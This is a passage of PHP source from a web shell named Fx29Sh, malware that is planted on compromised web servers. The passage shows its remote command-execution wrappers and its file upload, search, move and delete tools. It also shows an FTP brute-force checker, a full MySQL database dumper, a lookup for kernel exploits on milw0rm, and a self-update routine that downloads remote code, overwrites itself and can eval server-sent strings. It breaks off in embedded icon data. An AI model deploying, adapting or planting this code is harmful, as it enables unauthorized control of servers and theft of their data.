2567 echo "\t\t<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','".@$als[4]."')\">".$als[0]."</option>\n";
2568 }
2569}
2570?>
2571 </select>
2572 <input type="label" name="A1" value="File:" size=2 disabled>
2573 <input type=text name=arg1 size=40 value="<?php echo @htmlspecialchars($arg1); ?>">
2574 <input type="hidden" name="A2" size=3 disabled >
2575 <input type="hidden" name="arg2" size=40 value="<?php echo @htmlspecialchars($arg2); ?>">
2576 <input type="submit" name="submit" value="Execute">
2577 </form>
2578 </td></tr>
2579 <tr><td>
2580<?php
2581foreach ($sh_sourcez as $e => $o) {
2582 echo "\t<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\n";
2583}
2584?>
2585 </td></tr>
2586
2587 <tr><th rowspan="4">Filesystem</th>
2588 <th>Search:</th>
2589 <td>
2590 <form name="f_search" method="POST">
2591 <input type="hidden" name="act" value="search">
2592 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2593 <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
2594 </form>
2595 </td></tr>
2596 <tr><th>Upload:</th>
2597 <td>
2598 <form name="f_upload" method="POST" enctype="multipart/form-data">
2599 <input type="hidden" name="act" value="upload">
2600 <input type="file" name="uploadfile" size="50">
2601 <input type="submit" name="submit" value="Upload">
2602 <?php echo "<small>Max size: ".@ini_get("upload_max_filesize")."B | Temp dir: ".@ini_get("upload_tmp_dir")."</small>\n"; ?>
2603 </form>
2604 </td></tr>
2605 <tr><th>Create:</th>
2606 <td>
2607 <form name="f_mkfile" method="POST">
2608 <input type="hidden" name="act" value="mkfile">
2609 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2610 <input type="hidden" name="ft" value="edit">
2611 <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create">
2612 </form>
2613 </td></tr>
2614 <tr><th>View:</th><td>
2615 <form name="f_gofile" method="POST">
2616 <input type="hidden" name="act" value="gofile">
2617 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2618 <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type="submit" value="View">
2619 </form>
2620 </td></tr>
2621</table>
2622
2623 <div class="bartitle footer"><?php echo html_footer(); ?></div>
2624
2625</div>
2626<!-- End of Commands Panel -->
2627
2628</center></body>
2629
2630</html>
2631<?php
2632########################
2633##[ Fx29Sh FUNCTIONS ]##
2634########################
2635function safemode() {
2636 if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
2637 else { return FALSE; }
2638}
2639function getdisfunc() {
2640 $disfunc = @ini_get("disable_functions");
2641 if (!empty($disfunc)) {
2642 $disfunc = str_replace(" ","",$disfunc);
2643 $disfunc = explode(",",$disfunc);
2644 }
2645 else { $disfunc= array(); }
2646 return $disfunc;
2647}
2648function enabled($func) {
2649 if ( function_exists($func) && is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
2650 else { return FALSE; }
2651}
2652##[ FX29EXEC W/ STDERR ]##
2653function fx29exec($cmd) {
2654 $output = "";
2655 if ( enabled("popen") ) {
2656 $h = popen($cmd.' 2>&1', 'r');
2657 if ( is_resource($h) ) {
2658 while ( !feof($h) ) { $output .= fread($h, 2096); }
2659 pclose($h);
2660 }
2661 }
2662 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2663 elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2664 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2665 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2666 return $output;
2667}
2668##[ FX29EXEC W/O STDERR ]##
2669function fx29exec2($cmd) {
2670 $output = "";
2671 if ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2672 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2673 elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } #Dipindahkan kesini karena menimbulkan masalah pada output control
2674 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2675 elseif ( enabled("popen") ) {
2676 $h = popen($cmd.' 2>&1', 'r');
2677 if ( is_resource($h) ) {
2678 while ( !feof($h) ) { $output .= fread($h, 2096); }
2679 pclose($h);
2680 }
2681 }
2682 return $output;
2683}
2684function is_windows() { return strtolower(substr(PHP_OS,0,3)) == "win"; }
2685function which($pr) {
2686 $path = fx29exec("which $pr");
2687 if(!empty($path)) { return $path; } else { return $pr; }
2688}
2689function get_status() {
2690 $arrfunc = array(
2691 array("MySQL","mysql_connect"),
2692 array("MSSQL","mssql_connect"),
2693 array("Oracle","ocilogon"),
2694 array("PostgreSQL","pg_connect"),
2695 array("Curl","curl_version"),
2696 );
2697 $arrcmd = array(
2698 array("Fetch","fetch --help"),
2699 array("Wget","wget --help"),
2700 array("Perl","perl -v"),
2701 );
2702
2703 $statinfo = array();
2704
2705 function showstat($sup,$stat) {
2706 if ($stat == "on") { return "$sup: <font class=on>ON</font>"; }
2707 else { return "$sup: <font class=off>OFF</font>"; }
2708 }
2709
2710 foreach ($arrfunc as $func) {
2711 if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
2712 else { $statinfo[] = showstat($func[0],"off"); }
2713 }
2714 $statinfo[] = (@extension_loaded('sockets')) ? showstat("Sockets","on") : showstat("Sockets","off");
2715 foreach ($arrcmd as $cmd) {
2716 if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
2717 else { $statinfo[] = showstat($cmd[0],"off"); }
2718 }
2719 return implode(" ",$statinfo);
2720}
2721function showdisfunc() {
2722 $disfunc = getdisfunc();
2723 if ($disfunc = @ini_get("disable_functions")) {
2724 return '<font class="off">'.$disfunc.'</font>';
2725 }
2726 else { return '<font class="on">NONE</font>'; }
2727}
2728function disp_drives($curdir,$surl) {
2729 $letters = "";
2730 $v = explode("\\",$curdir);
2731 $v = $v[0];
2732 foreach (range("A","Z") as $letter) {
2733 $bool = $isdiskette = $letter == "A";
2734 if (!$bool) { $bool = is_dir($letter.":\\"); }
2735 if ($bool) {
2736 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
2737 ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
2738 if ($letter.":" != $v) { $letters .= $letter; }
2739 else { $letters .= "<font color=#3366FF>".$letter."</font>"; }
2740 $letters .= " </a> ";
2741 }
2742 }
2743 if (!empty($letters)) { Return $letters; }
2744 else { Return "None"; }
2745}
2746function view_size($size) {
2747 if (!is_numeric($size)) { return FALSE; }
2748 else {
2749 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
2750 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
2751 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
2752 else {$size = $size . " B";}
2753 return $size;
2754 }
2755}
2756function disp_freespace($curdrv) {
2757 $free = @disk_free_space($curdrv);
2758 $total = @disk_total_space($curdrv);
2759 if ($free === FALSE) { $free = 0; }
2760 if ($total === FALSE) { $total = 0; }
2761 if ($free < 0) { $free = 0; }
2762 if ($total < 0) { $total = 0; }
2763 $used = $total-$free;
2764 $free_percent = round(100/($total/$free),2)."%";
2765 $free = view_size($free);
2766 $total = view_size($total);
2767 return "$free of $total ($free_percent)";
2768}
2769##[ Fx29Sh UPDATE FUNCTIONS ]##
2770function fx29sh_getupdate($update = FALSE) {
2771 global $fx29sh_updateurl;
2772 $url = $fx29sh_updateurl."?version=".urlencode(base64_encode(sh_ver));
2773 $data = @file_get_contents($url);
2774 if (!$data) { return "<div class=errmsg>Can't connect to update-server! ($fx29sh_updateurl)</div>"; }
2775 else {
2776 $data = ltrim($data);
2777 if ($data{0} == "\x99" and $data{1} == "\x01") { return "You already using latest version!"; }
2778 if ($data{0} == "\x99" and $data{1} == "\x02") {
2779 $string = substr($data,3,ord($data{2}));
2780 $string = explode("|",$string);
2781 if ($update) {
2782 $confvars = array();
2783 $sourceurl = $string[0];
2784 $source = @file_get_contents($sourceurl);
2785 if (!$source) { return "Can't fetch update!"; }
2786 else {
2787 $fp = @fopen(__FILE__,"w");
2788 if (!$fp) { return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>."; }
2789 else {
2790 fwrite($fp,$source);
2791 fclose($fp);
2792 return "Update completed!";
2793 }
2794 }
2795 }
2796 else { return "New version is available: ".$string[1]; }
2797 }
2798 elseif ($data{0} == "\x99" and $data{1} == "\x03") { eval($string); return TRUE; }
2799 else { return "<div class=errmsg>Error in protocol: segmentation failed! (".$data.")</div>"; }
2800 }
2801}
2802##[ END Fx29Sh UPDATE FUNCTIONS ]##
2803function fx29_buff_prepare() {
2804 global $sess_data, $act;
2805 foreach ($sess_data["copy"] as $k=>$v) {
2806 $sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
2807 }
2808 foreach ($sess_data["cut"] as $k=>$v) {
2809 $sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
2810 }
2811 $sess_data["copy"] = array_unique($sess_data["copy"]);
2812 $sess_data["cut"] = array_unique($sess_data["cut"]);
2813 sort($sess_data["copy"]);
2814 sort($sess_data["cut"]);
2815 if ($act != "copy") {
2816 foreach ($sess_data["cut"] as $k=>$v) {
2817 if ($sess_data["copy"][$k] == $v) { unset($sess_data["copy"][$k]); }
2818 }
2819 }
2820 else {
2821 foreach ($sess_data["copy"] as $k=>$v) {
2822 if ($sess_data["cut"][$k] == $v) { unset($sess_data["cut"][$k]); }
2823 }
2824 }
2825}
2826function fx29_sess_put($data) {
2827 global $sess_cookie;
2828 global $sess_data;
2829 fx29_buff_prepare();
2830 $sess_data = $data;
2831 $data = serialize($data);
2832 setcookie($sess_cookie,$data);
2833}
2834##[ FILESYSTEM FUNCTIONS ]##
2835function fs_copy_dir($d,$t) {
2836 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2837 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2838 $h = opendir($d);
2839 while (($o = readdir($h)) !== FALSE) {
2840 if (($o != ".") and ($o != "..")) {
2841 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2842 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2843 if (!$ret) {return $ret;}
2844 }
2845 }
2846 closedir($h);
2847 return TRUE;
2848}
2849function fs_copy_obj($d,$t) {
2850 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2851 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2852 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
2853 if (is_dir($d)) {
2854 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2855 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2856 return fs_copy_dir($d,$t);
2857 }
2858 elseif (is_file($d)) { return copy($d,$t); }
2859 else { return FALSE; }
2860}
2861function fs_move_dir($d,$t) {
2862 $h = opendir($d);
2863 if (!is_dir($t)) {mkdir($t);}
2864 while (($o = readdir($h)) !== FALSE) {
2865 if (($o != ".") and ($o != "..")) {
2866 $ret = TRUE;
2867 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2868 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
2869 if (!$ret) {return $ret;}
2870 }
2871 }
2872 closedir($h);
2873 return TRUE;
2874}
2875function fs_move_obj($d,$t) {
2876 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2877 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2878 if (is_dir($d)) {
2879 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2880 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2881 return fs_move_dir($d,$t);
2882 }
2883 elseif (is_file($d)) {
2884 if(copy($d,$t)) {return unlink($d);}
2885 else {unlink($t); return FALSE;}
2886 }
2887 else {return FALSE;}
2888}
2889function fs_rmdir($d) {
2890 $h = opendir($d);
2891 while (($o = readdir($h)) !== FALSE) {
2892 if (($o != ".") and ($o != "..")) {
2893 if (!is_dir($d.$o)) {unlink($d.$o);}
2894 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
2895 }
2896 }
2897 closedir($h);
2898 rmdir($d);
2899 return !is_dir($d);
2900}
2901function fs_rmobj($o) {
2902 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
2903 if (is_dir($o)) {
2904 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
2905 return fs_rmdir($o);
2906 }
2907 elseif (is_file($o)) { return unlink($o); }
2908 else { return FALSE; }
2909}
2910##[ END FILESYSTEM FUNCTIONS ]##
2911##[ FX29SH EXIT FUNCTIONS ]##
2912function fx29shexit() {
2913 global $gzipencode,$ft;
2914 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
2915 $v = @ob_get_contents();
2916 @ob_end_clean();
2917 @ob_start("ob_gzHandler");
2918 echo $v;
2919 @ob_end_flush();
2920 }
2921 exit;
2922}
2923##[ END OF FX29SH EXIT FUNCTIONS ]##
2924function fx29fsearch($d) {
2925 global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
2926 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2927 $h = opendir($d);
2928 while (($f = readdir($h)) !== FALSE) {
2929 if($f != "." && $f != "..") {
2930 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
2931 if (is_dir($d.$f)) {
2932 $search_i_d++;
2933 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
2934 if (!is_link($d.$f)) { fx29fsearch($d.$f); }
2935 }
2936 else {
2937 $search_i_f++;
2938 if ($bool) {
2939 if (!empty($a["text"])) {
2940 $r = @file_get_contents($d.$f);
2941 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
2942 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
2943 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
2944 else {$bool = strpos(" ".$r,$a["text"],1);}
2945 if ($a["text_not"]) {$bool = !$bool;}
2946 if ($bool) {$found[] = $d.$f; $found_f++;}
2947 }
2948 else {$found[] = $d.$f; $found_f++;}
2949 }
2950 }
2951 }
2952 }
2953 closedir($h);
2954}
2955function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
2956function view_perms_color($o) {
2957 if (!is_readable($o)) { return "<font class=red>".view_perms(fileperms($o))."</font>"; }
2958 elseif (!is_writable($o)) { return "<font color=white>".view_perms(fileperms($o))."</font>"; }
2959 else { return "<font color=green>".view_perms(fileperms($o))."</font>"; }
2960}
2961function view_perms($mode) {
2962 if (($mode & 0xC000) === 0xC000) {$type = "s";}
2963 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
2964 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
2965 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
2966 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
2967 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
2968 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
2969 else {$type = "?";}
2970 $owner["read"] = ($mode & 00400)?"r":"-";
2971 $owner["write"] = ($mode & 00200)?"w":"-";
2972 $owner["execute"] = ($mode & 00100)?"x":"-";
2973 $group["read"] = ($mode & 00040)?"r":"-";
2974 $group["write"] = ($mode & 00020)?"w":"-";
2975 $group["execute"] = ($mode & 00010)?"x":"-";
2976 $world["read"] = ($mode & 00004)?"r":"-";
2977 $world["write"] = ($mode & 00002)? "w":"-";
2978 $world["execute"] = ($mode & 00001)?"x":"-";
2979 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
2980 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
2981 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
2982 return $type.join("",$owner).join("",$group).join("",$world);
2983}
2984function parsesort($sort) {
2985 $one = intval($sort);
2986 $second = substr($sort,-1);
2987 if ($second != "d") {$second = "a";}
2988 return array($one,$second);
2989}
2990function parse_perms($mode) {
2991 if (($mode & 0xC000) === 0xC000) {$t = "s";}
2992 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
2993 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
2994 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
2995 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
2996 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
2997 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
2998 else {$t = "?";}
2999 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
3000 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
3001 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
3002 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
3003}
3004function str2mini($content,$len) {
3005 if (strlen($content) > $len) {
3006 $len = ceil($len/2) - 2;
3007 return substr($content, 0,$len)."...".substr($content,-$len);
3008 } else { return $content; }
3009}
3010function strips(&$arr,$k="") {
3011 if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
3012 else { $arr = stripslashes($arr); }
3013}
3014function getmicrotime() {
3015 list($usec, $sec) = explode(" ", microtime());
3016 return ((float)$usec + (float)$sec);
3017}
3018function milw0rm() {
3019 $Lversion = php_uname("r");
3020 $OSV = php_uname("s");
3021 if(eregi("Linux",$OSV)) {
3022 $Lversion = substr($Lversion,0,6);
3023 return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
3024 } else {
3025 $Lversion = substr($Lversion,0,3);
3026 return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
3027 }
3028}
3029function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
3030 if ($fqb_onlywithsh) { $TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin"))); }
3031 else { $TRUE = TRUE; }
3032 if ($TRUE) {
3033 $sock = @ftp_connect($host,$port,$timeout);
3034 if (@ftp_login($sock,$login,$pass)) {
3035 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
3036 @ob_flush();
3037 return TRUE;
3038 }
3039 }
3040}
3041##[ MySQL FUNCTIONS ]##
3042function mysql_dump($set) {
3043 $sock = $set["sock"];
3044 $db = $set["db"];
3045 $print = $set["print"];
3046 $nl2br = $set["nl2br"];
3047 $file = $set["file"];
3048 $add_drop = $set["add_drop"];
3049 $tabs = $set["tabs"];
3050 $onlytabs = $set["onlytabs"];
3051 $ret = array();
3052 $ret["err"] = array();
3053 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
3054 if (empty($db)) {$db = "db";}
3055 if (empty($print)) {$print = 0;}
3056 if (empty($nl2br)) {$nl2br = 0;}
3057 if (empty($add_drop)) {$add_drop = TRUE;}
3058 if (empty($file)) {
3059 $file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
3060 }
3061 if (!is_array($tabs)) {$tabs = array();}
3062 if (empty($add_drop)) {$add_drop = TRUE;}
3063 if (sizeof($tabs) == 0) {
3064 #Retrieve tables-list
3065 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
3066 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
3067 }
3068 $out = "
3069 # Dumped by ".sh_name()."
3070 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
3071 # Date: ".date("d.m.Y H:i:s")."
3072 # DB: \"".$db."\"
3073 #---------------------------------------------------------";
3074 $c = count($onlytabs);
3075 foreach($tabs as $tab) {
3076 if ((in_array($tab,$onlytabs)) or (!$c)) {
3077 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
3078 #Receieve query for create table structure
3079 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
3080 if (!$res) {$ret["err"][] = mysql_smarterror();}
3081 else {
3082 $row = mysql_fetch_row($res);
3083 $out .= $row["1"].";\n\n";
3084 #Receieve table variables
3085 $res = mysql_query("SELECT * FROM `$tab`", $sock);
3086 if (mysql_num_rows($res) > 0) {
3087 while ($row = mysql_fetch_assoc($res)) {
3088 $keys = implode("`, `", array_keys($row));
3089 $values = array_values($row);
3090 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
3091 $values = implode("', '", $values);
3092 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
3093 $out .= $sql;
3094 }
3095 }
3096 }
3097 }
3098 }
3099 $out .= "#---------------------------------------------------------------------------------\n\n";
3100 if ($file) {
3101 $fp = fopen($file, "w");
3102 if (!$fp) {$ret["err"][] = 2;}
3103 else {
3104 fwrite ($fp, $out);
3105 fclose ($fp);
3106 }
3107 }
3108 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
3109 return $out;
3110}
3111function mysql_buildwhere($array,$sep=" and",$functs=array()) {
3112 if (!is_array($array)) {$array = array();}
3113 $result = "";
3114 foreach($array as $k=>$v) {
3115 $value = "";
3116 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
3117 $value .= "'".addslashes($v)."'";
3118 if (!empty($functs[$k])) {$value .= ")";}
3119 $result .= "`".$k."` = ".$value.$sep;
3120 }
3121 $result = substr($result,0,strlen($result)-strlen($sep));
3122 return $result;
3123}
3124function mysql_fetch_all($query,$sock) {
3125 if ($sock) {$result = mysql_query($query,$sock);}
3126 else {$result = mysql_query($query);}
3127 $array = array();
3128 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
3129 mysql_free_result($result);
3130 return $array;
3131}
3132function mysql_smarterror($sock) {
3133 if ($sock) { $error = mysql_error($sock); }
3134 else { $error = mysql_error(); }
3135 $error = htmlspecialchars($error);
3136 return $error;
3137}
3138function mysql_query_form() {
3139 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
3140 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
3141 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
3142 if ((!$submit) or ($sql_act)) {
3143 echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
3144 if ($tbl_struct) {
3145 echo "<td valign=\"top\"><b>Fields:</b><br>";
3146 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
3147 echo "</td></tr></table>";
3148 }
3149 }
3150 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
3151}
3152function mysql_create_db($db,$sock="") {
3153 $sql = "CREATE DATABASE `".addslashes($db)."`;";
3154 if ($sock) {return mysql_query($sql,$sock);}
3155 else {return mysql_query($sql);}
3156}
3157function mysql_query_parse($query) {
3158 $query = trim($query);
3159 $arr = explode (" ",$query);
3160 $types = array(
3161 "SELECT"=>array(3,1),
3162 "SHOW"=>array(2,1),
3163 "DELETE"=>array(1),
3164 "DROP"=>array(1)
3165 );
3166 $result = array();
3167 $op = strtoupper($arr[0]);
3168 if (is_array($types[$op])) {
3169 $result["propertions"] = $types[$op];
3170 $result["query"] = $query;
3171 if ($types[$op] == 2) {
3172 foreach($arr as $k=>$v) {
3173 if (strtoupper($v) == "LIMIT") {
3174 $result["limit"] = $arr[$k+1];
3175 $result["limit"] = explode(",",$result["limit"]);
3176 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
3177 unset($arr[$k],$arr[$k+1]);
3178 }
3179 }
3180 }
3181 }
3182 else { return FALSE; }
3183}
3184##[ END OF MYSQL FUNCTIONS ]##
3185
3186##[ IMAGES ]##
3187function imagez() {
3188 $images = array(
3189 "home"=>
3190'R0lGODlhEwAYALMJAH6+91OZ97zp/l6x/Y/V/iVr7DGQ/QwxyAEKpP///wAAAAAAAAAAAAAAAAAA'.
3191'AAAAACH5BAHoAwkALAAAAAATABgAAASoMEkJwrwYAyEqyFkQcFwFTuJAkF1xDkExAARdAy4W4EUw'.
3192'zwAALEfhFQy+5AAWmwwLUIN0OhPlBjLocSpdDgzYBLYnjXa/U1fMQD6auWzxMQBmn0XpBJ6OB6fs'.
3193'cXwiPl5LBwgIdGqDhV4FiImBKV5CQQGQPjlgS0GVMJBfRD5BBDU1l4g+BxcGNqYEAQeHBasYBqW4'.
3194'sLK1IAUcK7onFwWlOMIZB0THyxgRADs=',
3195 "buffer"=>
3196'R0lGODlhGAAWALMJABo+qGql77zK4OPw+pXE9Tx33mOCxx5WzYyv4v///wAAAAAAAAAAAAAAAAAA'.
3197'AAAAACH5BAHoAwkALAAAAAAYABYAAASbMMlJa0LFao0QMZslDMJFEEGhhtPgul4gFwebvK9BICnN'.
3198'4oPOACU7HAAb3Gl4mtGQltfSdSI+AdAWVVlNGbHZmxTYVB3BUOCI2vR+AQaQZL1lz74GhEAgn48I'.
3199'bCg0BwV7ewh9AgSGgEM9ASOGe32NiwFMAY0ukgZhU1WaOHxhE0tTQCR9GksIqHyqG4qnQbAsAkK0'.
3200'NhsFiLq+NhEAOw==',
3201 "search"=>
3202'R0lGODlhGAAXAKIEAHl5ecbGxqCgoOvr6////wAAAAAAAAAAACH5BAHoAwQALAAAAAAYABcAAANq'.
3203'SLq88iK02UIM1kY67fgDhj3c4oGiKJRK9mUpycFpHQClHbw8zl2iEOjlo9SEw1DRuNsliaygMwlY'.
3204'di7PgcDKUD2moW1utAVAHtUS9maGmLkOTBiudrJZk3Uaz4gQ6XUYe3wNb4CEiImKCQA7',
3205 "back"=>
3206'R0lGODlhGAAYALMJAC9ILkesPbHdo3W0Zi2IJ+f141aOUTRoM4LKdP///wAAAAAAAAAAAAAAAAAA'.
3207'AAAAACH5BAHoAwkALAAAAAAYABgAAASwMMlJq7046zSM/8YmeYNgFiZiHMdmCEVszoIaXscLpwhC'.
3208'dy2LASETlAoBXw8xCFYMqNQuWesBK4OjkVgYLL8B52h2LCCS2WxgECAAJiteLNarMtduOEE678/P'.
3209'bW8jBzVefigybIEUQz0BMF0EAZOTkm6CEgCNbFOUngR5FAdLazCAlKChomt3ASiolpiMB5OKbJZt'.
3210'oLIVtJ6VuaoXAAepxbq7GcTFAMgbzM/NItLTGxEAOw==',
3211 "forward"=>
3212'R0lGODlhGAAYAKIGAB9fHVu2T7nirIbKdjaXL+z36P///wAAACH5BAHoAwYALAAAAAAYABgAAAOc'.
3213'aLrc/g1ICSsZIosRSGWXUGjaQAAfIY7Z4GIc+qgFy734+Qxsy2+BV8dBGPVeI04wEJAtfiSgSMCs'.
3214'Og2AEu5Wo1Z1iuwGsymvChxCxynG1N7wWocAxmaCGVZcQKezYVVfPCNzJ1cBYzdMF4R9dWEwQkFy'.
3215'hY8KF5KIaI6WYUGKS5ydYReBapxXDgBqpn0UH2Grjq+wDBMTtbm6uwsJADs=',
3216 "up"=>
3217'R0lGODlhGAAXAKIGABxXG0irPrLeo3zFbzWFMOLz3v///wAAACH5BAHoAwYALAAAAAAYABcAAAOP'.
3218'aLrc/jBKMoa4lRCp6C1XOASbNBQgVq1D6XipsAYs+RCoAFZ5QNMEQIOSq+hQO59PyAjoMEckauQL'.
3219'MnBQaS5JYnZ2Tx6INu5ed5bRqUClmhcEEU3srlrhIZlsXSe8OxZ6K1NKJAFecIEshFV/CwBONRiN'.
